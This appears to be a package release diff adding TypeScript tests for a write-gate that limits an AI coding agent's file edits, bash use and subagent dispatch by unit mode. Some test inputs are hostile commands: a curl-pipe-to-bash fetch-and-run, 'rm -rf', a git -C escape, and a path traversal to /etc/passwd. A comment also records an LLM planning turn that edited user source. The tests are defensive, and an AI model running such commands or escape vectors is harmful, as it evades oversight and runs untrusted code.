gsd-pi 2.77.0-dev.58d3d4d6c → 2.77.0-dev.cfd69e714

package/src/resources/extensions/gsd/tests/write-gate-planning-unit.test.ts

@@ -0,0 +1,262 @@
+// GSD-2 — write-gate planning-unit tools-policy tests (#4934 runtime half).
+//
+// Covers shouldBlockPlanningUnit — the runtime predicate that enforces the
+// declarative ToolsPolicy on UnitContextManifest. Forensics: a discuss-
+// milestone LLM turn modified user source (b23/index.html) because no
+// runtime gate consulted the manifest. These tests pin the gate.
+
+import test from 'node:test';
+import assert from 'node:assert/strict';
+import { join, sep } from 'node:path';
+
+import { shouldBlockPlanningUnit } from '../bootstrap/write-gate.ts';
+import type { ToolsPolicy } from '../unit-context-manifest.ts';
+
+const BASE = join('/tmp', 'fake-project');
+const PLANNING: ToolsPolicy = { mode: 'planning' };
+const READ_ONLY: ToolsPolicy = { mode: 'read-only' };
+const ALL: ToolsPolicy = { mode: 'all' };
+const DOCS: ToolsPolicy = {
+  mode: 'docs',
+  allowedPathGlobs: ['docs/**', 'README.md', 'README.*.md', 'CHANGELOG.md', '*.md'],
+};
+
+// ─── planning mode: writes ─────────────────────────────────────────────────
+
+test('planning-unit: blocks edit to user source (the b23 forensic)', () => {
+  const r = shouldBlockPlanningUnit(
+    'edit',
+    join(BASE, 'index.html'),
+    BASE,
+    'discuss-milestone',
+    PLANNING,
+  );
+  assert.strictEqual(r.block, true);
+  assert.match(r.reason!, /HARD BLOCK/);
+  assert.match(r.reason!, /discuss-milestone/);
+});
+
+test('planning-unit: blocks write to user source via relative path', () => {
+  const r = shouldBlockPlanningUnit('write', 'src/main.ts', BASE, 'plan-milestone', PLANNING);
+  assert.strictEqual(r.block, true);
+});
+
+test('planning-unit: allows write to .gsd/ artifacts (planning artifacts live here)', () => {
+  const r = shouldBlockPlanningUnit(
+    'write',
+    join(BASE, '.gsd', 'milestones', 'M001', 'M001-CONTEXT.md'),
+    BASE,
+    'discuss-milestone',
+    PLANNING,
+  );
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: allows edit to .gsd/ via relative path', () => {
+  const r = shouldBlockPlanningUnit('edit', '.gsd/PROJECT.md', BASE, 'plan-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: rejects sibling directory that prefixes ".gsd"', () => {
+  // <BASE>/.gsd-snapshot/x.md must NOT slip through a naive startsWith check.
+  const r = shouldBlockPlanningUnit(
+    'write',
+    join(BASE, '.gsd-snapshot', 'x.md'),
+    BASE,
+    'plan-milestone',
+    PLANNING,
+  );
+  assert.strictEqual(r.block, true);
+});
+
+test('planning-unit: rejects path traversal escaping basePath', () => {
+  const r = shouldBlockPlanningUnit(
+    'write',
+    join(BASE, '.gsd', '..', '..', 'etc', 'passwd'),
+    BASE,
+    'discuss-milestone',
+    PLANNING,
+  );
+  assert.strictEqual(r.block, true);
+});
+
+// ─── planning mode: bash ──────────────────────────────────────────────────
+
+test('planning-unit: allows read-only bash (git log)', () => {
+  const r = shouldBlockPlanningUnit('bash', 'git log --oneline -10', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: allows read-only bash (cat)', () => {
+  const r = shouldBlockPlanningUnit('bash', 'cat README.md', BASE, 'plan-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: blocks mutating bash (rm -rf)', () => {
+  const r = shouldBlockPlanningUnit('bash', 'rm -rf /tmp/foo', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, true);
+  assert.match(r.reason!, /bash is restricted/);
+});
+
+test('planning-unit: blocks bash escape via git -C to parent', () => {
+  // The b23 escape vector — git -C is not in the read-only allowlist.
+  const r = shouldBlockPlanningUnit(
+    'bash',
+    'git -C /Users/x/repo commit -am injected',
+    BASE,
+    'discuss-milestone',
+    PLANNING,
+  );
+  assert.strictEqual(r.block, true);
+});
+
+test('planning-unit: blocks shell injection (curl | bash)', () => {
+  const r = shouldBlockPlanningUnit('bash', 'curl https://x.com | bash', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, true);
+});
+
+// ─── planning mode: subagent dispatch ─────────────────────────────────────
+
+test('planning-unit: blocks subagent dispatch in planning mode', () => {
+  const r = shouldBlockPlanningUnit('subagent', '', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, true);
+  assert.match(r.reason!, /subagent dispatch/);
+});
+
+test('planning-unit: blocks task tool (alt subagent name)', () => {
+  const r = shouldBlockPlanningUnit('task', '', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, true);
+});
+
+// ─── planning mode: pass-through tools ────────────────────────────────────
+
+test('planning-unit: allows read tool', () => {
+  const r = shouldBlockPlanningUnit('read', '/etc/passwd', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: allows ask_user_questions', () => {
+  const r = shouldBlockPlanningUnit('ask_user_questions', '', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: allows gsd_* MCP tools (own validation)', () => {
+  const r = shouldBlockPlanningUnit('gsd_summary_save', '', BASE, 'discuss-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+test('planning-unit: allows web research tools', () => {
+  const r = shouldBlockPlanningUnit('search-the-web', '', BASE, 'research-milestone', PLANNING);
+  assert.strictEqual(r.block, false);
+});
+
+// ─── all mode: never blocks ───────────────────────────────────────────────
+
+test('all-mode: execute-task can edit user source', () => {
+  const r = shouldBlockPlanningUnit('edit', join(BASE, 'src', 'main.ts'), BASE, 'execute-task', ALL);
+  assert.strictEqual(r.block, false);
+});
+
+test('all-mode: execute-task can run arbitrary bash', () => {
+  const r = shouldBlockPlanningUnit('bash', 'npm run build', BASE, 'execute-task', ALL);
+  assert.strictEqual(r.block, false);
+});
+
+test('all-mode: execute-task can dispatch subagents', () => {
+  const r = shouldBlockPlanningUnit('subagent', '', BASE, 'execute-task', ALL);
+  assert.strictEqual(r.block, false);
+});
+
+// ─── read-only mode ───────────────────────────────────────────────────────
+
+test('read-only: blocks any edit even to .gsd/', () => {
+  const r = shouldBlockPlanningUnit(
+    'edit',
+    join(BASE, '.gsd', 'PROJECT.md'),
+    BASE,
+    'observer-unit',
+    READ_ONLY,
+  );
+  assert.strictEqual(r.block, true);
+});
+
+test('read-only: blocks bash entirely', () => {
+  const r = shouldBlockPlanningUnit('bash', 'cat README.md', BASE, 'observer-unit', READ_ONLY);
+  assert.strictEqual(r.block, true);
+});
+
+test('read-only: blocks unknown tools by default', () => {
+  const r = shouldBlockPlanningUnit('mystery_tool', '', BASE, 'observer-unit', READ_ONLY);
+  assert.strictEqual(r.block, true);
+});
+
+test('read-only: allows read', () => {
+  const r = shouldBlockPlanningUnit('read', '/anywhere', BASE, 'observer-unit', READ_ONLY);
+  assert.strictEqual(r.block, false);
+});
+
+// ─── docs mode ────────────────────────────────────────────────────────────
+
+test('docs-mode: allows write to docs/ subtree', () => {
+  const r = shouldBlockPlanningUnit('write', 'docs/guide/intro.md', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, false);
+});
+
+test('docs-mode: allows write to README.md at root', () => {
+  const r = shouldBlockPlanningUnit('write', 'README.md', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, false);
+});
+
+test('docs-mode: allows write to CHANGELOG.md', () => {
+  const r = shouldBlockPlanningUnit('write', 'CHANGELOG.md', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, false);
+});
+
+test('docs-mode: blocks write to src/ (still restricted)', () => {
+  const r = shouldBlockPlanningUnit('write', 'src/main.ts', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, true);
+});
+
+test('docs-mode: blocks deep .md outside docs/', () => {
+  // *.md glob is top-level only by default minimatch semantics — nested .md
+  // under src/ should not match.
+  const r = shouldBlockPlanningUnit('write', 'src/notes.md', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, true);
+});
+
+test('docs-mode: still allows .gsd/ writes', () => {
+  const r = shouldBlockPlanningUnit('write', '.gsd/PROJECT.md', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, false);
+});
+
+test('docs-mode: blocks subagent', () => {
+  const r = shouldBlockPlanningUnit('subagent', '', BASE, 'rewrite-docs', DOCS);
+  assert.strictEqual(r.block, true);
+});
+
+// ─── policy null ──────────────────────────────────────────────────────────
+
+test('null policy: pass-through (no manifest, no enforcement)', () => {
+  const r = shouldBlockPlanningUnit('write', join(BASE, 'src', 'main.ts'), BASE, 'experimental', null);
+  assert.strictEqual(r.block, false);
+});
+
+test('undefined policy: pass-through', () => {
+  const r = shouldBlockPlanningUnit('edit', join(BASE, 'x.ts'), BASE, 'experimental', undefined);
+  assert.strictEqual(r.block, false);
+});
+
+// ─── Windows path separator handling ──────────────────────────────────────
+
+if (sep === '\\') {
+  test('planning-unit: handles Windows backslash paths under .gsd', () => {
+    const r = shouldBlockPlanningUnit(
+      'write',
+      `${BASE}\\.gsd\\PROJECT.md`,
+      BASE,
+      'discuss-milestone',
+      PLANNING,
+    );
+    assert.strictEqual(r.block, false);
+  });
+}

package/src/resources/extensions/gsd/tests/write-gate-predicates.test.ts

@@ -0,0 +1,186 @@
+// GSD-2 — write-gate predicate coverage (#4950).
+//
+// Covers five predicates that had no dedicated tests:
+//   shouldBlockQueueExecution, shouldBlockPendingGate,
+//   shouldBlockPendingGateBash, shouldBlockContextWrite,
+//   shouldBlockContextArtifactSave.
+
+import test from 'node:test';
+import assert from 'node:assert/strict';
+
+import {
+  shouldBlockQueueExecution,
+  shouldBlockPendingGate,
+  shouldBlockPendingGateBash,
+  shouldBlockContextWrite,
+  shouldBlockContextArtifactSave,
+  setQueuePhaseActive,
+  setPendingGate,
+  clearPendingGate,
+  markDepthVerified,
+  clearDiscussionFlowState,
+} from '../bootstrap/write-gate.ts';
+
+// ─── shouldBlockQueueExecution ────────────────────────────────────────────
+
+test('shouldBlockQueueExecution: queue inactive → allow write to user source', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setQueuePhaseActive(false);
+  const r = shouldBlockQueueExecution('write', 'src/main.ts', false);
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockQueueExecution: queue active → block write to user source', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setQueuePhaseActive(true);
+  const r = shouldBlockQueueExecution('write', 'src/main.ts', true);
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason);
+});
+
+test('shouldBlockQueueExecution: queue active → allow write to .gsd/ path', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setQueuePhaseActive(true);
+  const r = shouldBlockQueueExecution('write', '.gsd/milestones/M001/M001-CONTEXT.md', true);
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockQueueExecution: queue active → block mutating bash', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setQueuePhaseActive(true);
+  const r = shouldBlockQueueExecution('bash', 'npm run build', true);
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason);
+});
+
+test('shouldBlockQueueExecution: queue active → allow read-only bash', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setQueuePhaseActive(true);
+  const r = shouldBlockQueueExecution('bash', 'git log --oneline -5', true);
+  assert.strictEqual(r.block, false);
+});
+
+// ─── shouldBlockPendingGate ───────────────────────────────────────────────
+
+test('shouldBlockPendingGate: no pending gate → allow any tool', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  clearPendingGate();
+  const r = shouldBlockPendingGate('write', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockPendingGate: pending gate → block write', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGate('write', 'M001');
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason?.includes('depth_verification_M001'));
+});
+
+test('shouldBlockPendingGate: pending gate → allow ask_user_questions', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGate('ask_user_questions', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockPendingGate: pending gate → allow read', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGate('read', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+// ─── shouldBlockPendingGateBash ───────────────────────────────────────────
+
+test('shouldBlockPendingGateBash: no pending gate → allow mutating bash', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  clearPendingGate();
+  const r = shouldBlockPendingGateBash('npm run build', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockPendingGateBash: pending gate → block mutating bash', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGateBash('npm run build', 'M001');
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason?.includes('depth_verification_M001'));
+});
+
+test('shouldBlockPendingGateBash: pending gate → allow read-only bash (cat)', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGateBash('cat README.md', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockPendingGateBash: pending gate → allow read-only bash (git log)', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  setPendingGate('depth_verification_M001');
+  const r = shouldBlockPendingGateBash('git log --oneline -10', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+// ─── shouldBlockContextWrite ──────────────────────────────────────────────
+
+test('shouldBlockContextWrite: non-write tool → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextWrite('read', '.gsd/milestones/M001/M001-CONTEXT.md', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockContextWrite: write to non-CONTEXT file → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextWrite('write', 'src/index.ts', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockContextWrite: write to CONTEXT.md without verification → block', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextWrite('write', '.gsd/milestones/M007/M007-CONTEXT.md', 'M007');
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason);
+});
+
+test('shouldBlockContextWrite: write to CONTEXT.md after verification → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  markDepthVerified('M008');
+  const r = shouldBlockContextWrite('write', '.gsd/milestones/M008/M008-CONTEXT.md', 'M008');
+  assert.strictEqual(r.block, false);
+});
+
+// ─── shouldBlockContextArtifactSave ───────────────────────────────────────
+
+test('shouldBlockContextArtifactSave: non-CONTEXT artifact type → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextArtifactSave('CONTEXT-DRAFT', 'M001');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockContextArtifactSave: slice-level CONTEXT → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextArtifactSave('CONTEXT', 'M001', 'S01');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockContextArtifactSave: milestone CONTEXT without verification → block', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextArtifactSave('CONTEXT', 'M009');
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason?.includes('M009'));
+});
+
+test('shouldBlockContextArtifactSave: milestone CONTEXT after verification → allow', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  markDepthVerified('M010');
+  const r = shouldBlockContextArtifactSave('CONTEXT', 'M010');
+  assert.strictEqual(r.block, false);
+});
+
+test('shouldBlockContextArtifactSave: CONTEXT with no milestoneId → block', (t) => {
+  t.after(() => clearDiscussionFlowState());
+  const r = shouldBlockContextArtifactSave('CONTEXT', null);
+  assert.strictEqual(r.block, true);
+  assert.ok(r.reason);
+});

package/src/resources/extensions/gsd/tests/write-gate.test.ts

@@ -480,18 +480,20 @@ test('write-gate: isDepthConfirmationAnswer works with different label text', ()
   );
 });
 
-// ─── Scenario 18: fallback when options not available ──
+// ─── Scenario 18: fail-closed when options not available (#4950) ──
 
-test('write-gate: isDepthConfirmationAnswer falls back to (Recommended) match without options', () => {
+test('write-gate: isDepthConfirmationAnswer fails closed when options are missing (#4950)', () => {
+  // After #4950 the substring fallback was removed. Without options the gate
+  // can never be unlocked — every input must return false.
   assert.strictEqual(
     isDepthConfirmationAnswer('Yes, you got it (Recommended)'),
-    true,
-    'should accept via fallback when no options provided',
+    false,
+    'no-options + Recommended substring must NOT unlock the gate',
   );
   assert.strictEqual(
     isDepthConfirmationAnswer('Not quite — let me clarify'),
     false,
-    'should reject non-Recommended via fallback',
+    'no-options + non-Recommended must NOT unlock the gate',
   );
 });
 

package/src/resources/extensions/gsd/tests/zombie-gsd-state.test.ts

@@ -1,97 +1,81 @@
-import { readFileSync } from "node:fs";
+/**
+ * zombie-gsd-state.test.ts — #2942
+ *
+ * A partially initialized `.gsd/` (symlink exists but neither `PREFERENCES.md`
+ * nor `milestones/` is present) previously caused the init-wizard gate in
+ * `showSmartEntry` to be skipped. The fix introduces
+ * `hasGsdBootstrapArtifacts`, which requires at least one bootstrap artifact
+ * to be present before treating the project as initialized.
+ *
+ * These tests exercise that helper directly over synthetic filesystems and
+ * injected predicates — replacing the old source-grep assertions that only
+ * verified the function's *text* shape.
+ */
+
+import { test } from "node:test";
+import assert from "node:assert/strict";
+import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs";
 import { join } from "node:path";
-
-import {createTestContext, extractSourceRegion } from "./test-helpers.ts";
-
-const { assertTrue, assertMatch, assertNoMatch, report } = createTestContext();
-
-// ─── #2942: Zombie .gsd state skips init wizard ─────────────────────────────
-//
-// A partially initialized .gsd/ (symlink exists but no PREFERENCES.md or
-// milestones/) causes the init wizard gate in showSmartEntry to be skipped,
-// resulting in an uninitialized project session.
-
-console.log("\n=== #2942: zombie .gsd state must not skip init wizard ===");
-
-// ── guided-flow.ts — init wizard gate must check bootstrap completeness ──
-
-const guidedFlowSrc = readFileSync(
-  join(import.meta.dirname, "..", "guided-flow.ts"),
-  "utf-8",
-);
-
-// Find the showSmartEntry function
-const smartEntryIdx = guidedFlowSrc.indexOf("export async function showSmartEntry(");
-assertTrue(smartEntryIdx >= 0, "guided-flow.ts defines showSmartEntry");
-
-// Extract the region between showSmartEntry and the first showProjectInit call
-// This is where the init wizard gate lives.
-const afterSmartEntry = smartEntryIdx >= 0 ? extractSourceRegion(guidedFlowSrc, "export async function showSmartEntry(") : "";
-
-// The gate must NOT be a bare `!existsSync(gsdRoot(basePath))` check.
-// It must also verify that bootstrap artifacts (PREFERENCES.md or milestones/) exist.
-assertTrue(
-  afterSmartEntry.includes("PREFERENCES.md") || afterSmartEntry.includes("PREFERENCES"),
-  "init wizard gate checks for PREFERENCES.md, not just .gsd/ existence (#2942)",
-);
-
-assertTrue(
-  afterSmartEntry.includes("milestones"),
-  "init wizard gate checks for milestones/ directory, not just .gsd/ existence (#2942)",
-);
-
-// The init wizard should be shown when .gsd/ exists but has no bootstrap artifacts.
-// The old code was: if (!existsSync(gsdRoot(basePath))) { ... showProjectInit ... }
-// The fix should use a compound check so zombie states trigger the wizard.
-// Verify we no longer have the bare existence check as the sole gate.
-
-// Find the specific init wizard gate pattern — the detection preamble block.
-const detectionPreambleIdx = afterSmartEntry.indexOf("Detection preamble");
-const detectionRegion = detectionPreambleIdx >= 0
-  ? extractSourceRegion(afterSmartEntry, "Detection preamble")
-  : afterSmartEntry.slice(0, 1500);
-
-// The gate condition must reference PREFERENCES.md or milestones (bootstrap artifacts)
-assertMatch(
-  detectionRegion,
-  /PREFERENCES\.md|milestones/,
-  "detection preamble gate references bootstrap artifacts, not just directory existence (#2942)",
-);
-
-// ── auto-start.ts — milestones/ dir creation must not be dead code ──────────
-
-console.log("\n=== #2942: auto-start milestones/ bootstrap not dead code ===");
-
-const autoStartSrc = readFileSync(
-  join(import.meta.dirname, "..", "auto-start.ts"),
-  "utf-8",
-);
-
-// After ensureGsdSymlink, the code that creates milestones/ must check for
-// the milestones directory specifically (not .gsd/ which ensureGsdSymlink already created).
-const symlinkIdx = autoStartSrc.indexOf("ensureGsdSymlink(base)");
-assertTrue(symlinkIdx >= 0, "auto-start.ts calls ensureGsdSymlink(base)");
-
-const afterSymlink = symlinkIdx >= 0
-  ? autoStartSrc.slice(symlinkIdx, autoStartSrc.indexOf("Initialize GitServiceImpl", symlinkIdx))
-  : "";
-
-// The milestones bootstrap must check milestones path, not gsdDir
-// Old (dead) code: if (!existsSync(gsdDir)) { mkdirSync(join(gsdDir, "milestones"), ...) }
-// Fixed code should check: if (!existsSync(milestonesPath)) or similar
-assertTrue(
-  afterSymlink.includes("milestones") && afterSymlink.includes("mkdirSync"),
-  "auto-start.ts creates milestones/ directory after ensureGsdSymlink (#2942)",
-);
-
-// The guard for milestones/ creation should NOT be `!existsSync(gsdDir)` —
-// that's dead code since ensureGsdSymlink already created gsdDir.
-// It should check for the milestones/ dir directly.
-const mkdirRegion = afterSymlink.slice(0, afterSymlink.indexOf("mkdirSync") + 200);
-assertMatch(
-  mkdirRegion,
-  /existsSync\([^)]*milestones/,
-  "milestones bootstrap checks milestones path existence, not .gsd/ (#2942)",
-);
-
-report();
+import { tmpdir } from "node:os";
+
+import { hasGsdBootstrapArtifacts } from "../detection.ts";
+
+function makeGsdDir(t: { after: (fn: () => void) => void }): string {
+  const dir = mkdtempSync(join(tmpdir(), "gsd-zombie-state-"));
+  t.after(() => rmSync(dir, { recursive: true, force: true }));
+  return dir;
+}
+
+test("#2942: missing .gsd/ directory entirely → treated as un-bootstrapped", () => {
+  assert.equal(
+    hasGsdBootstrapArtifacts("/nonexistent/path/does/not/exist/.gsd"),
+    false,
+  );
+});
+
+test("#2942: zombie .gsd/ (empty directory) must NOT count as bootstrapped", (t) => {
+  const gsd = makeGsdDir(t);
+  // Only the directory exists — neither PREFERENCES.md nor milestones/
+  assert.equal(
+    hasGsdBootstrapArtifacts(gsd),
+    false,
+    "an empty .gsd/ is a zombie state — init wizard must still run",
+  );
+});
+
+test("#2942: .gsd/ with PREFERENCES.md counts as bootstrapped", (t) => {
+  const gsd = makeGsdDir(t);
+  writeFileSync(join(gsd, "PREFERENCES.md"), "# prefs\n");
+  assert.equal(hasGsdBootstrapArtifacts(gsd), true);
+});
+
+test("#2942: .gsd/ with milestones/ directory counts as bootstrapped", (t) => {
+  const gsd = makeGsdDir(t);
+  mkdirSync(join(gsd, "milestones"));
+  assert.equal(hasGsdBootstrapArtifacts(gsd), true);
+});
+
+test("#2942: both artifacts present → bootstrapped", (t) => {
+  const gsd = makeGsdDir(t);
+  writeFileSync(join(gsd, "PREFERENCES.md"), "# prefs\n");
+  mkdirSync(join(gsd, "milestones"));
+  assert.equal(hasGsdBootstrapArtifacts(gsd), true);
+});
+
+test("#2942: injected existsFn — zombie via predicate is rejected", () => {
+  // Only the .gsd/ directory exists; artifacts are missing.
+  const existsFn = (p: string) => p === "/proj/.gsd";
+  assert.equal(hasGsdBootstrapArtifacts("/proj/.gsd", existsFn), false);
+});
+
+test("#2942: injected existsFn — PREFERENCES.md alone is enough", () => {
+  const existsFn = (p: string) =>
+    p === "/proj/.gsd" || p === "/proj/.gsd/PREFERENCES.md";
+  assert.equal(hasGsdBootstrapArtifacts("/proj/.gsd", existsFn), true);
+});
+
+test("#2942: injected existsFn — milestones/ alone is enough", () => {
+  const existsFn = (p: string) =>
+    p === "/proj/.gsd" || p === "/proj/.gsd/milestones";
+  assert.equal(hasGsdBootstrapArtifacts("/proj/.gsd", existsFn), true);
+});